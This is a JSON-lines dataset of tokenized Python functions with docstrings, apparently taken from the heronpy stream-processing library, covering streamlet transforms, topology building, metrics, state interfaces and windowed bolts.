{"signature": "def filter(self, filter_function):", "body": "from heronpy.streamlet.impl.filterbolt import FilterStreamlet<EOL>filter_streamlet = FilterStreamlet(filter_function, self)<EOL>self._add_child(filter_streamlet)<EOL>return filter_streamlet<EOL>", "docstring": "Return a new Streamlet containing only the elements that satisfy filter_function", "id": "f7194:c0:m7"}
{"signature": "def repartition(self, num_partitions, repartition_function=None):", "body": "from heronpy.streamlet.impl.repartitionbolt import RepartitionStreamlet<EOL>if repartition_function is None:<EOL><INDENT>repartition_function = lambda x: x<EOL><DEDENT>repartition_streamlet = RepartitionStreamlet(num_partitions, repartition_function, self)<EOL>self._add_child(repartition_streamlet)<EOL>return repartition_streamlet<EOL>", "docstring": "Return a new Streamlet containing all elements of the this streamlet but having\n        num_partitions partitions. Note that this is different from num_partitions(n) in\n        that new streamlet will be created by the repartition call.\n        If repartiton_function is not None, it is used to decide which parititons\n        (from 0 to num_partitions -1), it should route each element to.\n        It could also return a list of partitions if it wants to send it to multiple\n        partitions.", "id": "f7194:c0:m8"}
{"signature": "def clone(self, num_clones):", "body": "retval = []<EOL>for i in range(num_clones):<EOL><INDENT>retval.append(self.repartition(self.get_num_partitions()))<EOL><DEDENT>return retval<EOL>", "docstring": "Return num_clones number of streamlets each containing all elements\n        of the current streamlet", "id": "f7194:c0:m9"}
{"signature": "def reduce_by_window(self, window_config, reduce_function):", "body": "from heronpy.streamlet.impl.reducebywindowbolt import ReduceByWindowStreamlet<EOL>reduce_streamlet = ReduceByWindowStreamlet(window_config, reduce_function, self)<EOL>self._add_child(reduce_streamlet)<EOL>return reduce_streamlet<EOL>", "docstring": "Return a new Streamlet in which each element of this Streamlet are collected\n          over a window defined by window_config and then reduced using the reduce_function\n          reduce_function takes two element at one time and reduces them to one element that\n          is used in the subsequent operations.", "id": "f7194:c0:m10"}
{"signature": "def union(self, other_streamlet):", "body": "from heronpy.streamlet.impl.unionbolt import UnionStreamlet<EOL>union_streamlet = UnionStreamlet(self, other_streamlet)<EOL>self._add_child(union_streamlet)<EOL>other_streamlet._add_child(union_streamlet)<EOL>return union_streamlet<EOL>", "docstring": "Returns a new Streamlet that consists of elements of both this and other_streamlet", "id": "f7194:c0:m11"}
{"signature": "def transform(self, transform_operator):", "body": "from heronpy.streamlet.impl.transformbolt import TransformStreamlet<EOL>transform_streamlet = TransformStreamlet(transform_operator, self)<EOL>self._add_child(transform_streamlet)<EOL>return transform_streamlet<EOL>", "docstring": "Returns a  new Streamlet by applying the transform_operator on each element of this\n        streamlet. The transform_function is of the type TransformOperator.\n        Before starting to cycle over the Streamlet, the open function of the transform_operator is\n        called. This allows the transform_operator to do any kind of initialization/loading, etc.", "id": "f7194:c0:m12"}
{"signature": "def log(self):", "body": "from heronpy.streamlet.impl.logbolt import LogStreamlet<EOL>log_streamlet = LogStreamlet(self)<EOL>self._add_child(log_streamlet)<EOL>return<EOL>", "docstring": "Logs all elements of this streamlet. This returns nothing", "id": "f7194:c0:m13"}
{"signature": "def consume(self, consume_function):", "body": "from heronpy.streamlet.impl.consumebolt import ConsumeStreamlet<EOL>consume_streamlet = ConsumeStreamlet(consume_function, self)<EOL>self._add_child(consume_streamlet)<EOL>return<EOL>", "docstring": "Calls consume_function for each element of this streamlet. This function returns nothing", "id": "f7194:c0:m14"}
{"signature": "def join(self, join_streamlet, window_config, join_function):", "body": "from heronpy.streamlet.impl.joinbolt import JoinStreamlet, JoinBolt<EOL>join_streamlet_result = JoinStreamlet(JoinBolt.INNER, window_config,<EOL>join_function, self, join_streamlet)<EOL>self._add_child(join_streamlet_result)<EOL>join_streamlet._add_child(join_streamlet_result)<EOL>return join_streamlet_result<EOL>", "docstring": "Return a new Streamlet by joining join_streamlet with this streamlet", "id": "f7194:c0:m15"}
{"signature": "def outer_right_join(self, join_streamlet, window_config, join_function):", "body": "from heronpy.streamlet.impl.joinbolt import JoinStreamlet, JoinBolt<EOL>join_streamlet_result = JoinStreamlet(JoinBolt.OUTER_RIGHT, window_config,<EOL>join_function, self, join_streamlet)<EOL>self._add_child(join_streamlet_result)<EOL>join_streamlet._add_child(join_streamlet_result)<EOL>return join_streamlet_result<EOL>", "docstring": "Return a new Streamlet by outer right join_streamlet with this streamlet", "id": "f7194:c0:m16"}
{"signature": "def outer_left_join(self, join_streamlet, window_config, join_function):", "body": "from heronpy.streamlet.impl.joinbolt import JoinStreamlet, JoinBolt<EOL>join_streamlet_result = JoinStreamlet(JoinBolt.OUTER_LEFT, window_config,<EOL>join_function, self, join_streamlet)<EOL>self._add_child(join_streamlet_result)<EOL>join_streamlet._add_child(join_streamlet_result)<EOL>return join_streamlet_result<EOL>", "docstring": "Return a new Streamlet by left join_streamlet with this streamlet", "id": "f7194:c0:m17"}
{"signature": "def outer_join(self, join_streamlet, window_config, join_function):", "body": "from heronpy.streamlet.impl.joinbolt import JoinStreamlet, JoinBolt<EOL>join_streamlet_result = JoinStreamlet(JoinBolt.OUTER, window_config,<EOL>join_function, self, join_streamlet)<EOL>self._add_child(join_streamlet_result)<EOL>join_streamlet._add_child(join_streamlet_result)<EOL>return join_streamlet_result<EOL>", "docstring": "Return a new Streamlet by outer join_streamlet with this streamlet", "id": "f7194:c0:m18"}
{"signature": "def reduce_by_key_and_window(self, window_config, reduce_function):", "body": "from heronpy.streamlet.impl.reducebykeyandwindowbolt import ReduceByKeyAndWindowStreamlet<EOL>reduce_streamlet = ReduceByKeyAndWindowStreamlet(window_config, reduce_function, self)<EOL>self._add_child(reduce_streamlet)<EOL>return reduce_streamlet<EOL>", "docstring": "Return a new Streamlet in which each (key, value) pair of this Streamlet are collected\n           over the time_window and then reduced using the reduce_function", "id": "f7194:c0:m19"}
{"signature": "@abstractmethod<EOL><INDENT>def _build_this(self, builder, stage_names):<DEDENT>", "body": "raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "This is the method that's implemented by the operators.\n        :type builder: TopologyBuilder\n        :param builder: The operator adds in the current streamlet as a spout/bolt", "id": "f7194:c0:m21"}
{"signature": "def _default_stage_name_calculator(self, prefix, existing_stage_names):", "body": "index = <NUM_LIT:1><EOL>calculated_name = \"<STR_LIT>\"<EOL>while True:<EOL><INDENT>calculated_name = prefix + \"<STR_LIT:->\" + str(index)<EOL>if calculated_name not in existing_stage_names:<EOL><INDENT>return calculated_name<EOL><DEDENT>index = index + <NUM_LIT:1><EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "This is the method that's implemented by the operators to get the name of the Streamlet\n        :return: The name of the operator", "id": "f7194:c0:m23"}
{"signature": "@abstractmethod<EOL><INDENT>def setup(self, context):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Called when a task for this operator is initialized within a worker on the cluster\n\n        It provides the operator with the environment in which the operator executes.\n        This should be used to initialize any custom variables or connection to databases.\n\n        :type context: :class:`Context`\n        :param context: This object can be used to get information about this task's place within the\n                        topology, including the task id and component id of this task, input and output\n                        information, etc.\n        **Must be implemented by a subclass, otherwise NotImplementedError is raised.**", "id": "f7196:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def get(self):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Generate the next element\n        If there is nothing at the moment to generate, return None\n\n        **Must be implemented by a subclass, otherwise NotImplementedError is raised.**", "id": "f7196:c0:m1"}
{"signature": "def __init__(self):", "body": "pass<EOL>", "docstring": "Nothing really", "id": "f7197:c0:m0"}
{"signature": "def run(self, name, config, builder):", "body": "if not isinstance(name, str):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(config, Config):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(builder, Builder):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>bldr = TopologyBuilder(name=name)<EOL>builder.build(bldr)<EOL>bldr.set_config(config._api_config)<EOL>bldr.build_and_submit()<EOL>", "docstring": "Builds the topology and submits it", "id": "f7197:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def prepare(self, context, component, stream, target_tasks):<DEDENT>", "body": "pass<EOL>", "docstring": "Tells the stream grouping at runtime the tasks in the target bolt\n\n        This information should be used in ``choose_tasks()`` to determine the target tasks.\n\n        :param context: topology-worker context\n        :param component: source component name\n        :param stream: stream id used for this grouping\n        :type target_tasks: list of int\n        :param target_tasks: list of target task ids", "id": "f7215:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def choose_tasks(self, values):<DEDENT>", "body": "pass<EOL>", "docstring": "Implements a custom stream grouping\n\n        :param values: the values to group on\n        :rtype: list of int\n        :return: list of task ids to which these values are emitted", "id": "f7215:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def class_dict_to_specs(mcs, class_dict):<DEDENT>", "body": "specs = {}<EOL>for name, spec in class_dict.items():<EOL><INDENT>if isinstance(spec, HeronComponentSpec):<EOL><INDENT>if spec.name is None:<EOL><INDENT>spec.name = name<EOL><DEDENT>if spec.name in specs:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % spec.name)<EOL><DEDENT>else:<EOL><INDENT>specs[spec.name] = spec<EOL><DEDENT><DEDENT><DEDENT>return specs<EOL>", "docstring": "Takes a class `__dict__` and returns `HeronComponentSpec` entries", "id": "f7217:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def class_dict_to_topo_config(mcs, class_dict):<DEDENT>", "body": "topo_config = {}<EOL>topo_config.update(mcs.DEFAULT_TOPOLOGY_CONFIG)<EOL>for name, custom_config in class_dict.items():<EOL><INDENT>if name == '<STR_LIT>' and isinstance(custom_config, dict):<EOL><INDENT>sanitized_dict = mcs._sanitize_config(custom_config)<EOL>topo_config.update(sanitized_dict)<EOL><DEDENT><DEDENT>return topo_config<EOL>", "docstring": "Takes a class `__dict__` and returns a map containing topology-wide\nconfiguration.\n\nThe returned dictionary is a sanitized `dict` of type `<str ->\n(str|object)>`.\n\nThis classmethod firsts insert default topology configuration and then\noverrides it with a given topology-wide configuration. Note that this\nconfiguration will be overriden by a component-specific configuration at\nruntime.", "id": "f7217:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def init_topology(mcs, classname, class_dict):<DEDENT>", "body": "if classname == '<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>heron_options = TopologyType.get_heron_options_from_env()<EOL>initial_state = heron_options.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>tmp_directory = heron_options.get(\"<STR_LIT>\")<EOL>if tmp_directory is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>topology_name = heron_options.get(\"<STR_LIT>\", classname)<EOL>topology_id = topology_name + str(uuid.uuid4())<EOL>topology = topology_pb2.Topology()<EOL>topology.id = topology_id<EOL>topology.name = topology_name<EOL>topology.state = topology_pb2.TopologyState.Value(initial_state)<EOL>topology.topology_config.CopyFrom(TopologyType.get_topology_config_protobuf(class_dict))<EOL>TopologyType.add_bolts_and_spouts(topology, class_dict)<EOL>class_dict['<STR_LIT>'] = topology_name<EOL>class_dict['<STR_LIT>'] = topology_id<EOL>class_dict['<STR_LIT>'] = topology<EOL>class_dict['<STR_LIT>'] = tmp_directory<EOL>class_dict['<STR_LIT>'] = heron_options<EOL>", "docstring": "Initializes a topology protobuf", "id": "f7217:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def get_heron_options_from_env():<DEDENT>", "body": "heron_options_raw = os.environ.get(\"<STR_LIT>\")<EOL>if heron_options_raw is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>options = {}<EOL>for option_line in heron_options_raw.replace(\"<STR_LIT>\", \"<STR_LIT:U+0020>\").split('<STR_LIT:U+002C>'):<EOL><INDENT>key, sep, value = option_line.partition(\"<STR_LIT:=>\")<EOL>if sep:<EOL><INDENT>options[key] = value<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % option_line)<EOL><DEDENT><DEDENT>return options<EOL>", "docstring": "Retrieves heron options from the `HERON_OPTIONS` environment variable.\n\n        Heron options have the following format:\n\n            cmdline.topologydefn.tmpdirectory=/var/folders/tmpdir\n            cmdline.topology.initial.state=PAUSED\n\n        In this case, the returned map will contain:\n\n            #!json\n            {\n              \"cmdline.topologydefn.tmpdirectory\": \"/var/folders/tmpdir\",\n              \"cmdline.topology.initial.state\": \"PAUSED\"\n            }\n\n        Currently supports the following options natively:\n\n        - `cmdline.topologydefn.tmpdirectory`: (required) the directory to which this\n        topology's defn file is written\n        - `cmdline.topology.initial.state`: (default: \"RUNNING\") the initial state of the topology\n        - `cmdline.topology.name`: (default: class name) topology name on deployment\n\n        Returns: map mapping from key to value", "id": "f7217:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def _sanitize_config(custom_config):<DEDENT>", "body": "sanitized = {}<EOL>for key, value in custom_config.items():<EOL><INDENT>if not isinstance(key, str):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% (str(type(key)), str(key)))<EOL><DEDENT>if isinstance(value, bool):<EOL><INDENT>sanitized[key] = \"<STR_LIT:true>\" if value else \"<STR_LIT:false>\"<EOL><DEDENT>elif isinstance(value, (str, int, float)):<EOL><INDENT>sanitized[key] = str(value)<EOL><DEDENT>else:<EOL><INDENT>sanitized[key] = value<EOL><DEDENT><DEDENT>return sanitized<EOL>", "docstring": "Checks whether a given custom_config and returns a sanitized dict <str -> (str|object)>\n\n        It checks if keys are all strings and sanitizes values of a given dictionary as follows:\n\n        - If string, number or boolean is given as a value, it is converted to string.\n          For string and number (int, float), it is converted to string by a built-in ``str()`` method.\n          For a boolean value, ``True`` is converted to \"true\" instead of \"True\", and ``False`` is\n          converted to \"false\" instead of \"False\", in order to keep the consistency with\n          Java configuration.\n\n        - If neither of the above is given as a value, it is inserted into the sanitized dict as it is.\n          These values will need to be serialized before adding to a protobuf message.", "id": "f7217:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def write(cls):<DEDENT>", "body": "if cls.__name__ == '<STR_LIT>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>filename = \"<STR_LIT>\" % cls.topology_name<EOL>path = os.path.join(cls.topologydefn_tmpdir, filename)<EOL>with open(path, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(cls.protobuf_topology.SerializeToString())<EOL><DEDENT>", "docstring": "Writes the Topology .defn file to ``dest``\n\n        This classmethod is meant be used by heron-cli when submitting a topology.", "id": "f7217:c1:m0"}
{"signature": "def __init__(self, name):", "body": "assert name is not None and isinstance(name, str) and name != \"<STR_LIT>\"<EOL>self.topology_name = name<EOL>self._specs = {}<EOL>self._topology_config = {}<EOL>", "docstring": "Initialize this TopologyBuilder\n\n        :type name: str\n        :param name: topology name", "id": "f7217:c2:m0"}
{"signature": "def add_spec(self, *specs):", "body": "for spec in specs:<EOL><INDENT>if not isinstance(spec, HeronComponentSpec):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(spec))<EOL><DEDENT>if spec.name is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if spec.name == \"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if spec.name in self._specs:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (spec.name, spec))<EOL><DEDENT>self._specs[spec.name] = spec<EOL><DEDENT>", "docstring": "Add specs to the topology\n\n        :type specs: HeronComponentSpec\n        :param specs: specs to add to the topology", "id": "f7217:c2:m1"}
{"signature": "def add_spout(self, name, spout_cls, par, config=None, optional_outputs=None):", "body": "spout_spec = spout_cls.spec(name=name, par=par, config=config,<EOL>optional_outputs=optional_outputs)<EOL>self.add_spec(spout_spec)<EOL>return spout_spec<EOL>", "docstring": "Add a spout to the topology", "id": "f7217:c2:m2"}
{"signature": "def add_bolt(self, name, bolt_cls, par, inputs, config=None, optional_outputs=None):", "body": "bolt_spec = bolt_cls.spec(name=name, par=par, inputs=inputs, config=config,<EOL>optional_outputs=optional_outputs)<EOL>self.add_spec(bolt_spec)<EOL>return bolt_spec<EOL>", "docstring": "Add a bolt to the topology", "id": "f7217:c2:m3"}
{"signature": "def set_config(self, config):", "body": "if not isinstance(config, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % str(config))<EOL><DEDENT>self._topology_config = config<EOL>", "docstring": "Set topology-wide configuration to the topology\n\n        :type config: dict\n        :param config: topology-wide config", "id": "f7217:c2:m4"}
{"signature": "def build_and_submit(self):", "body": "class_dict = self._construct_topo_class_dict()<EOL>topo_cls = TopologyType(self.topology_name, (Topology,), class_dict)<EOL>topo_cls.write()<EOL>", "docstring": "Builds the topology and submits to the destination", "id": "f7217:c2:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def get_value_and_reset(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Returns the current value and reset", "id": "f7218:c0:m0"}
{"signature": "def __init__(self):", "body": "self.value = <NUM_LIT:0><EOL>", "docstring": "Initializes CountMetric", "id": "f7218:c1:m0"}
{"signature": "def incr(self, to_add=<NUM_LIT:1>):", "body": "self.value += to_add<EOL>", "docstring": "Increments the value by ``to_add``", "id": "f7218:c1:m1"}
{"signature": "def __init__(self):", "body": "self.value = {}<EOL>", "docstring": "Initializes MultiCountMetric", "id": "f7218:c2:m0"}
{"signature": "def add_key(self, key):", "body": "self.incr(key, to_add=<NUM_LIT:0>)<EOL>", "docstring": "Registers a new key", "id": "f7218:c2:m1"}
{"signature": "def incr(self, key, to_add=<NUM_LIT:1>):", "body": "if key not in self.value:<EOL><INDENT>self.value[key] = CountMetric()<EOL><DEDENT>self.value[key].incr(to_add)<EOL>", "docstring": "Increments the value of a given key by ``to_add``", "id": "f7218:c2:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def init(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when this reducer is initialized/reinitialized", "id": "f7218:c3:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def reduce(self, value):<DEDENT>", "body": "pass<EOL>", "docstring": "Called to reduce the value", "id": "f7218:c3:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def extract(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called to extract the current value", "id": "f7218:c3:m2"}
{"signature": "def __init__(self, reducer_cls):", "body": "self.reducer = reducer_cls()<EOL>self.reducer.init()<EOL>", "docstring": "Initializes ReducedMetric object\n\n        :param reducer_cls: IReducer class to use", "id": "f7218:c5:m0"}
{"signature": "def update(self, value):", "body": "self.reducer.reduce(value)<EOL>", "docstring": "Updates a value and apply reduction", "id": "f7218:c5:m1"}
{"signature": "def __init__(self, reducer):", "body": "self.value = {}<EOL>self.reducer = reducer<EOL>", "docstring": "Initializes MultiReducedMetric object\n\n        :param reducer: IReducer class to use", "id": "f7218:c6:m0"}
{"signature": "def update(self, key, value):", "body": "if key not in self.value:<EOL><INDENT>self.value[key] = ReducedMetric(self.reducer)<EOL><DEDENT>self.value[key].update(value)<EOL>", "docstring": "Updates a value of a given key and apply reduction", "id": "f7218:c6:m1"}
{"signature": "def add_key(self, key):", "body": "if key not in self.value:<EOL><INDENT>self.value[key] = ReducedMetric(self.reducer)<EOL><DEDENT>", "docstring": "Adds a new key to this metric", "id": "f7218:c6:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def init_state(self, state):<DEDENT>", "body": "pass<EOL>", "docstring": "Initializes the state of the function or operator to that of a previous checkpoint.\n        This method is invoked when a component is executed as part of a recovery run. In case\n        there was no prior state associated with the component, the state will be empty.\n        Stateful Spouts/Bolts are expected to hold on to the state variable to save their\n        internal state\n        Note that init_state() is called before initialize()\n        :param state: the previously saved state of the component.", "id": "f7219:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def pre_save(self):<DEDENT>", "body": "pass<EOL>", "docstring": "This is a hook for the component to perform some actions just before the\n        framework saves its state.", "id": "f7219:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def put(self, key, value):<DEDENT>", "body": "pass<EOL>", "docstring": "Puts {key, value} pair into the state\n        :param key: The key to get back the value\n        :param value: The value associated with the key", "id": "f7221:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def get(self, key):<DEDENT>", "body": "pass<EOL>", "docstring": "Gets the value corresponding to a key\n        :param key: The key whose value we want back\n        :return: The value associated with the key", "id": "f7221:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def enumerate(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Allows one to enumerate over the state.\n        :return: The enumerate object", "id": "f7221:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def clear(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Clears the state to empty state", "id": "f7221:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def get_task_id(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Gets the task id of this component\n        :return: the task_id of this component", "id": "f7228:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def get_component_id(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Gets the component id of this component\n        :return: the component_id of this component", "id": "f7228:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def get_cluster_config(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Returns the cluster config for this component\n        Note that the returned config is auto-typed map: <str -> any Python object>.\n        :return: the dict of key -> value", "id": "f7228:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def get_topology_name(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Returns the name of the topology\n        :return: the name of the topology", "id": "f7228:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def register_metric(self, name, metric, time_bucket_in_sec):<DEDENT>", "body": "pass<EOL>", "docstring": "Registers a new metric to this context\n        :param name: The name of the metric\n        :param metric: The IMetric that needs to be registered\n        :param time_bucket_in_sec: The interval in seconds to do getValueAndReset", "id": "f7228:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def get_sources(self, component_id):<DEDENT>", "body": "pass<EOL>", "docstring": "Returns the declared inputs to specified component\n        :param component_id: The name of the component whose inputs we want\n\n        :return: map <streamId namedtuple (same structure as protobuf msg) -> gtype>, or\n                 None if not found", "id": "f7228:c0:m5"}
{"signature": "def get_this_sources(self):", "body": "return self.get_sources(self.get_component_id())<EOL>", "docstring": "Returns the declared inputs to this component\n        :return: map <streamId namedtuple (same structure as protobuf msg) -> gtype>, or\n                 None if not found", "id": "f7228:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def get_component_tasks(self, component_id):<DEDENT>", "body": "pass<EOL>", "docstring": "Returns the task ids allocated for the given component id\n        :param component_id: The name of the component whose task ids we want\n\n        :return: list of task_ids or None if not found", "id": "f7228:c0:m7"}
{"signature": "@abstractmethod<EOL><INDENT>def add_task_hook(self, task_hook):<DEDENT>", "body": "pass<EOL>", "docstring": "Registers a specified task hook to this context\n\n        :type task_hook: ITaskHook\n        :param task_hook: Implementation of ITaskHook", "id": "f7228:c0:m8"}
{"signature": "@abstractmethod<EOL><INDENT>def initialize(self, config, context):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when a task for this component is initialized within a worker on the cluster\n\n        It provides the bolt with the environment in which the bolt executes.\n        Note that ``__init__()`` should not be overriden for initialization of a bolt, as it is used\n        internally by BaseBolt; instead, ``initialize()`` should be used to initialize any custom\n        variables or connection to databases.\n\n        :type config: dict\n        :param config: The Heron configuration for this bolt. This is the configuration provided to\n                       the topology merged in with cluster configuration on this machine.\n                       Note that types of string values in the config have been automatically converted,\n                       meaning that number strings and boolean strings are converted to the appropriate\n                       types.\n        :type context: :class:`TopologyContext`\n        :param context: This object can be used to get information about this task's place within the\n                        topology, including the task id and component id of this task, input and output\n                        information, etc.", "id": "f7229:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def process(self, tup):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Process a single tuple of input\n\n        The Tuple object contains metadata on it about which component/stream/task it came from.\n        To emit a tuple, call ``self.emit(tuple)``.\n        Note that tick tuples are not passed to this method, as the ``process_tick()`` method is\n        responsible for processing them.\n\n        **Must be implemented by a subclass, otherwise NotImplementedError is raised.**\n\n        :type tup: :class:`Tuple`\n        :param tup: Tuple to process", "id": "f7229:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def process_tick(self, tup):<DEDENT>", "body": "pass<EOL>", "docstring": "Process special tick tuple\n\n        It is compatible with StreamParse API.\n\n        Tick tuples allow time-based behavior to be included in bolts. They will be sent to the bolts\n        for which `topology.tick.tuple.freq.secs``\n        (or, ``.api_constants.TOPOLOGY_TICK_TUPLE_FREQ_SECS`` key) is set to an integer value, the\n        number of seconds.\n\n        Default behavior is to ignore tick tuples. This method should be overridden by subclasses\n        if you want to react to timer events via tick tuples.\n\n        :type tup: :class:`Tuple`\n        :param tup: the tick tuple to be processed", "id": "f7229:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def processWindow(self, window_info, tuples):<DEDENT>", "body": "pass<EOL>", "docstring": "The main interface that needs to be implemented.\n\n        This function is called every WINDOW_SLIDEINTERVAL_SECS seconds\n        and contains the data in the last WINDOW_DURATION_SECS seconds\n        in a list tuples\n\n        :type window_info: :class:`WindowContext`\n        :param window_info: The information about the window\n\n        :type tuples: :class:`list of Tuples`\n        :param tuples: The list of tuples in this window", "id": "f7231:c0:m2"}
{"signature": "def initialize(self, config, context):", "body": "if SlidingWindowBolt.WINDOW_DURATION_SECS in config:<EOL><INDENT>self.window_duration = int(config[SlidingWindowBolt.WINDOW_DURATION_SECS])<EOL><DEDENT>else:<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\")<EOL><DEDENT>if SlidingWindowBolt.WINDOW_SLIDEINTERVAL_SECS in config:<EOL><INDENT>self.slide_interval = int(config[SlidingWindowBolt.WINDOW_SLIDEINTERVAL_SECS])<EOL><DEDENT>else:<EOL><INDENT>self.slide_interval = self.window_duration<EOL><DEDENT>if self.slide_interval > self.window_duration:<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\")<EOL><DEDENT>config[api_constants.TOPOLOGY_TICK_TUPLE_FREQ_SECS] = str(self.slide_interval)<EOL>self.current_tuples = deque()<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>if '<STR_LIT>' in self.saved_state:<EOL><INDENT>self.current_tuples = self.saved_state['<STR_LIT>']<EOL><DEDENT><DEDENT>", "docstring": "We initialize the window duration and slide interval", "id": "f7231:c0:m3"}
{"signature": "def process(self, tup):", "body": "curtime = int(time.time())<EOL>self.current_tuples.append((tup, curtime))<EOL>self._expire(curtime)<EOL>", "docstring": "Process a single tuple of input\n\n        We add the (time, tuple) pair into our current_tuples. And then look for expiring\n        elemnents", "id": "f7231:c0:m4"}
{"signature": "def process_tick(self, tup):", "body": "curtime = int(time.time())<EOL>window_info = WindowContext(curtime - self.window_duration, curtime)<EOL>tuple_batch = []<EOL>for (tup, tm) in self.current_tuples:<EOL><INDENT>tuple_batch.append(tup)<EOL><DEDENT>self.processWindow(window_info, tuple_batch)<EOL>self._expire(curtime)<EOL>", "docstring": "Called every slide_interval", "id": "f7231:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def processWindow(self, window_info, tuples):<DEDENT>", "body": "pass<EOL>", "docstring": "The main interface that needs to be implemented.\n\n        This function is called every WINDOW_DURATION_SECS seconds\n        and contains the data in the last WINDOW_DURATION_SECS seconds\n        in a list tuples\n\n        :type window_info: :class:`WindowContext`\n        :param window_info: The information about the window\n\n        :type tuples: :class:`list of Tuples`\n        :param tuples: The list of tuples in this window", "id": "f7231:c1:m2"}
{"signature": "def initialize(self, config, context):", "body": "if TumblingWindowBolt.WINDOW_DURATION_SECS in config:<EOL><INDENT>self.window_duration = int(config[TumblingWindowBolt.WINDOW_DURATION_SECS])<EOL><DEDENT>else:<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\")<EOL><DEDENT>config[api_constants.TOPOLOGY_TICK_TUPLE_FREQ_SECS] = str(self.window_duration)<EOL>self.current_tuples = deque()<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>if '<STR_LIT>' in self.saved_state:<EOL><INDENT>self.current_tuples = self.saved_state['<STR_LIT>']<EOL><DEDENT><DEDENT>", "docstring": "We initialize the window duration and slide interval", "id": "f7231:c1:m3"}
{"signature": "def process(self, tup):", "body": "self.current_tuples.append(tup)<EOL>", "docstring": "Process a single tuple of input\n\n        We simply add the tuple into our current_tuples.", "id": "f7231:c1:m4"}
{"signature": "def process_tick(self, tup):", "body": "curtime = int(time.time())<EOL>window_info = WindowContext(curtime - self.window_duration, curtime)<EOL>self.processWindow(window_info, list(self.current_tuples))<EOL>for tup in self.current_tuples:<EOL><INDENT>self.ack(tup)<EOL><DEDENT>self.current_tuples.clear()<EOL>", "docstring": "Called every window_duration", "id": "f7231:c1:m5"}
